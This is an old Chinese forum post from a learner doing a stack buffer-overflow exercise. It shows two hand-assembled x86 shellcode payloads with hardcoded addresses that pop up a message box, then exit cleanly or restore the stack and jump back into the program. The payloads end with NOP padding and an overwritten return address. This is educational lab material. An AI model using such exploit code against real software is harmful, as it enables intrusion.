首页
社区
课程
招聘
[讨论]4.4代码植入的安全退出
2008-7-30 19:19 3752

[讨论]4.4代码植入的安全退出

2008-7-30 19:19
3752
今天很有兴趣的做了一下这个东西。

分别用了ExitProcess退出,和修复堆栈和寄存器的两种方式。

1)对于exitProcess方式,就是在源码中添加了“LoadLibrary("kernel32.dll");”

然后通过查找绝对地址来让程序执行完MessagbeBoxA以后,执行exitprocess退出程序而不报其他的异常。

在实验的发现,缓冲区不够,于是抬高了栈顶0x34。

溢出的文件如下:

83EC 34         SUB ESP,34
33DB            XOR EBX,EBX
53              PUSH EBX
68 43617421     PUSH 21746143
68 4C617A79     PUSH 797A614C
8BC4            MOV EAX,ESP
53              PUSH EBX
50              PUSH EAX
50              PUSH EAX
53              PUSH EBX
B8 EA04D577     MOV EAX,user32.MessageBoxA
FFD0            CALL EAX
53              PUSH EBX
B8 A2CA817C     MOV EAX,kernel32.ExitProcess
FFD0            CALL EAX
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 F0 FA 12 00

=================================================

2)对于修复堆栈和寄存器让程序继续执行,也用的是硬编码的方式来实现
溢出的文件如下:
83EC 38          SUB ESP,38      //因为处理要多一点,所以栈顶抬高了一点
33DB               XOR EBX,EBX
53                   PUSH EBX
68 43617421     PUSH 21746143
68 4C617A79     PUSH 797A614C
8BC4            MOV EAX,ESP
53              PUSH EBX
50              PUSH EAX
50              PUSH EAX
53              PUSH EBX
B8 EA04D577     MOV EAX,user32.MessageBoxA
FFD0            CALL EAX
83C4 44         ADD ESP,44         //恢复ESP
8BEF            MOV EBP,EDI         //恢复EBP
81E9 42F4527C   SUB ECX,7C52F442   //通过ECX的偏移值来JMP,原因是直接跳回去的地址是0040112B,“00”字符没有办法读进buffer。就用的这个硬编码的笨办法。
FFE1            JMP ECX
90 90 90 90 90 90 90 90 90 90 F0 FA 12  

==========================================

以上两种方式,算是比较笨的搞了一下平衡。 希望牛牛们能多多批评,然后我好进一步提高。

[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回